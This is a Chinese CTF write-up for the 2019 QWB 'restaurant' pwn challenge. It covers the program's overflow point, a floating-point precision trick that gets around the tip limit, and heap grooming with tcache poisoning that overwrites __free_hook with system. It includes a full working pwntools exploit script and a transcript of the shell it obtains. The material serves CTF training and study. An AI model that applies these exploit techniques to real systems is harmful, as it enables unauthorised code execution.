强网杯2019 pwn restaurant writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 障碍
    1. 3.1. Order()
    2. 3.2. set_name()
  4. 4. 思路
    1. 4.1. 将cost变大
    2. 4.2. 覆盖current_size & heap overflow
    3. 4.3. 泄露地址
    4. 4.4. 劫持hook
  5. 5. 完整脚本
    1. 5.1. 运行实例
  6. 6. 总结

该题整体难度偏难,需要我们要从仅有的一个溢出点进行深挖,要求利用者有很强的堆构造能力。

源程序、相关文件下载:restaurant.zip

安全防护

ex@Ex:~/test$ checksec restaurant
[*] '/home/ex/test/restaurant'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

溢出点

.bss:0000000000202360 ; double qword_202360[]
.bss:0000000000202360 qword_202360 dq ? ; DATA XREF: initial+7A↑w
.bss:0000000000202360 ; Order+15B↑r ...
.bss:0000000000202368 ; double cost
.bss:0000000000202368 cost dq ? ; DATA XREF: initial+86↑w
.bss:0000000000202368 ; Order+170↑r ...
.bss:0000000000202370 bill_number dd ? ; DATA XREF: Order:loc_F79↑r
.bss:0000000000202370 ; Order+26B↑w ...
.bss:0000000000202374 align 8
.bss:0000000000202378 ; char *name
.bss:0000000000202378 name dq ? ; DATA XREF: initial+6B↑w
.bss:0000000000202378 ; set_name+A6↑r ...
.bss:0000000000202380 ; double bill[6]
.bss:0000000000202380 bill dq 6 dup(?)
.bss:00000000002023B0 dd ?
.bss:00000000002023B4 dw ?
.bss:00000000002023B6 current_size dw ? ; DATA XREF: initial+62↑w
.bss:00000000002023B6 ; set_name+96↑r ...

current_sizebill过于接近,中间只差了6个机器字长,如下所示:

v2 = bill_number++;
qword_202360[v2 + 4LL] = amount;
### Order()

bill_number增长为7时,就可以覆盖掉current_size,但是仅有这一次机会,也就是唯一的溢出点。

障碍

Order()

printf("How much do you want to pay as tips: ", &v4);
scanf("%lf", &v5);
if ( v5 < 0.55 )
{
puts("You are not welcome here. Go away!");
exit(0);
}
cost = v5 + cost;
if ( cost - qword_202360[0] > 3.0 )
{
puts("Dude, you have eaten enough. Go back home!");
exit(0);
}

costqword_202360[0]的差值最多为3.0,大于就会直接退出,但是每次一定至少要给小费0.55,所以正常来说,我们只能调用Order函数5次(3/0.55 = 5.4),但是要修改current_size的话,需要7次才行。

解决方法:

由于这些值全部是以double形式存储的,所以少不了精度丢失,所以我们只要一次将cost变成一个很大的值,那么后面相的0.55则会因为精度不够而舍去,这样就可以绕过该障碍。

set_name()

oid __fastcall set_name()
{
unsigned int size; // [rsp+0h] [rbp-10h]
char v0[2]; // [rsp+6h] [rbp-Ah]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Do you want to sign your name?:(y/n) ");
read(0, v0, 2uLL);
if ( v0[0] == 'y' )
{
printf("Input the length of your name: ", v0);
scanf("%u", &size);
if ( size <= 0x200 )
{
if ( (unsigned __int16)current_size < size )
{
free(name);
name = (char *)malloc(size);
current_size = size;
}
printf("Input your name: ", &size);
read(0, name, (unsigned __int16)current_size);
if ( name[(unsigned __int16)current_size - 1] == '\n' )
name[(unsigned __int16)current_size - 1] = 0;
printf("Here is your signature : %s\n", name);
}
else
{
puts("Why do you have such a long name? Go away");
if ( current_size )
{
free(name);
name = 0LL;
current_size = 0;
}
}
}
else
{
puts("OK then");
}
}

在该函数中,malloc有严格的规则,而且仅有一个指针name,这意味着,你一旦free之后,再malloc相同的size时,拿回的还是原来的chunk,这样我们就很难改fdtcache attached

思路

  1. 将cost变为一个很大的数,绕过限制
  2. 溢出bill,覆盖current_size
  3. heap overflow,构造heap结构
  4. 泄露地址
  5. 劫持hook
  6. getshell

将cost变大

# Request 1
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '1e16')

# Request 2
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '-99999')


Order(5, 1, 0x18, '\n')

通过调试可以考到,由于精度丢失,他们的值是相等的:

pwndbg> pr
cost
$1 = 10000000000000000
qword_202360
$2 = 10000000000000000

覆盖current_size & heap overflow

这里需要精心构造heap_layout,下面我将解释一下它的原理。

Order(5, 1, 0x18, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x58, '\n')
Order(5, 0, 0x78, '\n')
Order(5, 0, 0x201, '\n')
Order(5, 0, 0x18, '\n')

heap_layout = [
'a' * 0x10,
p64(0) + p64(0x421), # 0x38
'b' * 0x30,
p64(0) + p64(0x441), # 0x58
'c' * 0x70,
p64(0) + p64(0x81), # 0x78
'd' * 0x350,
p64(0) + p64(0x21), # fake_chunk
'e' * 0x10,
p64(0) + p64(0x21), # fake_chunk
'f' * 0x30,
p64(0) + p64(0x21), # fake_chunk
'g' * 0x10,
p64(0) + p64(0x21), # fake_chunk
]

payload = flat(heap_layout)
# edit current_size
Order(6, 999999, 10, flat(heap_layout))

对应的chunk我已经用注释表明出来了,fake_chunk的作用是使0x38chunk在被free的时候能过检查而构造的,这里只有一个name指针,因此我们是很难构造tcachefd的,但是我们可以利用 overflow来修改sizefd,将size修改为别的tcache对应的值,那样在free的时候就不会放回原处,我们就可以顺利拿出fd指向的任意chunk

然后free掉构造好的chunk。

Order(5, 0, 0x201, '\n')
# Order(5, 0, 0x58, '\n')
# Order(5, 0, 0x201, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x201, '\n')

bin的状态如下:

pwndbg> bin
tcachebins
0x20 [ 1]: 0x561a010d5260 ◂— 0x0
0x40 [ 0]: 0x6262626262626262 ('bbbbbbbb')
0x60 [ 1]: 0x561a010d52c0 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
0x80 [ 1]: 0x561a010d5320 ◂— 'cccccccccccccccc'
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x561a010d5270 —▸ 0x7fa0ba6e6ca0 (main_arena+96) ◂— 0x561a010d5270
smallbins
empty
largebins
empty
pwndbg>

泄露地址

泄露main_arena的地址。

Order(5, 0, 0x98, 'x' * 8)

sh.recvuntil('x' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 1104 #
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

劫持hook

这里是劫持0x38下面的0x58,修改它的size使其free后不会归位,修改fd指向__free_hook从而劫持程序流。

heap_layout = [
'o' * 0x30,
p64(0) + p64(0x101),
p64(__free_hook_addr - 8), # fd
]

Order(5, 0, 0x90, flat(heap_layout))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '\n')

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '/bin/sh\0'.ljust(8, 'z') + p64(system_addr))
Order(5, 0, 0x201, '\n')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct commodity
{
char name[32];
double price;
double dislike;
}commodity;

commodity no_use;
'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './restaurant'
sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
# sh = process(execve_file)
# sh = remote('eonew.cn', 60106)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $goods=(commodity *)$rebase(0x202060)
set $bill=(double *)$rebase(0x202380)
set $size=(unsigned short *)$rebase(0x2023B6)
set $cost=(double *)$rebase(0x202368)
set $u=(double *)$rebase(0x202360)
set $name=(char **)$rebase(0x202378)

define prg
p *$goods@$arg0
end

define prb
p *$bill@8
x/8gx $bill
end

define pr
echo cost\\n
p *$cost
echo qword_202360\\n
p *$u
end

# b *$rebase(0xE69)
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Order(index, num, length=None, name=None):
sh.sendlineafter('Your choice:', '1')
sh.sendlineafter('Which do you want: ', str(index))
sh.sendlineafter('Good choice!How many do you want: ', str(num))
sh.sendlineafter('How much do you want to pay as tips: ', '0.55')
sh.recvuntil('Do you want to sign your name?:(y/n) ')
if(length != None):
sh.sendline('y')
sh.sendlineafter('Input the length of your name: ', str(length))
if(length <= 0x200):
sh.sendafter('Input your name: ', name)
else:
sh.sendline('n')

# Request 1
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '1e16')

# Request 2
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '-99999')


Order(5, 1, 0x18, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x58, '\n')
Order(5, 0, 0x78, '\n')
Order(5, 0, 0x201, '\n')
Order(5, 0, 0x18, '\n')

heap_layout = [
'a' * 0x10,
p64(0) + p64(0x421), # 0x38
'b' * 0x30,
p64(0) + p64(0x441), # 0x58
'c' * 0x70,
p64(0) + p64(0x81), # 0x78
'd' * 0x350,
p64(0) + p64(0x21), # fake_chunk
'e' * 0x10,
p64(0) + p64(0x21), # fake_chunk
'f' * 0x30,
p64(0) + p64(0x21), # fake_chunk
'g' * 0x10,
p64(0) + p64(0x21), # fake_chunk
]

payload = flat(heap_layout)
# edit current_size
Order(6, 999999, 10, flat(heap_layout))

Order(5, 0, 0x201, '\n')
# Order(5, 0, 0x58, '\n')
# Order(5, 0, 0x201, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x201, '\n')
Order(5, 0, 0x98, 'x' * 8)

sh.recvuntil('x' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 1104 #
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook_addr: ' + hex(__free_hook_addr))


heap_layout = [
'o' * 0x30,
p64(0) + p64(0x101),
p64(__free_hook_addr - 8), # fd
]

Order(5, 0, 0x90, flat(heap_layout))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '\n')

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '/bin/sh\0'.ljust(8, 'z') + p64(system_addr))
Order(5, 0, 0x201, '\n')

sh.interactive()

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to eonew.cn on port 60106: Done
[*] '/home/ex/test/restaurant'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[+] main_arena_addr: 0x7f8d8b91dc40
[+] libc_addr: 0x7f8d8b532000
[+] __free_hook_addr: 0x7f8d8b91f8e8
[+] system_addr: 0x7f8d8b581440
[*] Switching to interactive mode
Why do you have such a long name? Go away
$ pwd
/home/pwn
$ ls
flag
restaurant
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$

总结

当你找到溢出点时,你已经成功一半了。